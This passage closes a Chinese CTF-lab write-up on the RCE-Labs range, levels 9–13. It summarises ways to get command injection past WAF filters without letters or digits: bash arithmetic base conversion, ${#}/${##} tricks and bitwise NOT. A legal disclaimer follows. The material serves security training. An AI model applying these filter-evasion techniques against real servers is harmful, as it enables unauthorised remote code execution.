该语法依赖bash算术扩展;busybox-sh不支持位取反,环境依靠 /bin/sh 软链接bash保证正常运行。


总结

整套靶场统一思路依靠 $((base#二进制)) 将二进制ASCII码转为字符,实现无字母命令执行,关卡递进核心在于如何绕过WAF动态生成数字。

Level9放行全部数字,直接书写二进制序列完成构造。Level10仅允许0和1,直接拼接二进制,通过1<<1运算得到进制基数2。Level11拦截19,仅保留明文0,利用`${##}`语法动态生成数字1。Level12禁止所有明文数字09,依靠${#}生成0、${##}生成1;拓展语法${!#}属于bash独有特性,PHP system环境无法兼容,本关卡采用Python拉起原生bash终端才能够正常执行。

Level13依旧放行#符号,但更换更通用的实现思路。使用空算术表达式$(())得到0,配合位取反~获取-1,通过累加、负负得正构造任意整数。对比前面依靠${#}系列只能生成0与1的方案,位取反方法适用场景更广,是无数字RCE中通用性更强的手段。

发包方面,Level9、10、11、13为HTTP传参,载荷包含特殊符号,需要URL编码;Level12网页虚拟终端直接交互bash,粘贴原始载荷即可。${!xxx}间接扩展、位取反运算均依赖完整bash环境,dash与busybox精简shell不支持。


免责声明

本文所记录的RCE-Labs靶场学习笔记、漏洞原理、载荷构造方法,仅限个人网络安全技术学习、靶机复现、CTF竞赛研究使用。
禁止将文中任何技术手段直接或间接用于未授权的网站、服务器、设备进行测试、入侵、数据窃取等行为;未经授权的渗透测试属于违法行为,将承担相应法律责任。
任何因违规滥用本文内容造成的一切后果,均由行为人自行承担,与本文作者无关。操作请仅在自己拥有完整授权的本地靶场环境内开展。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐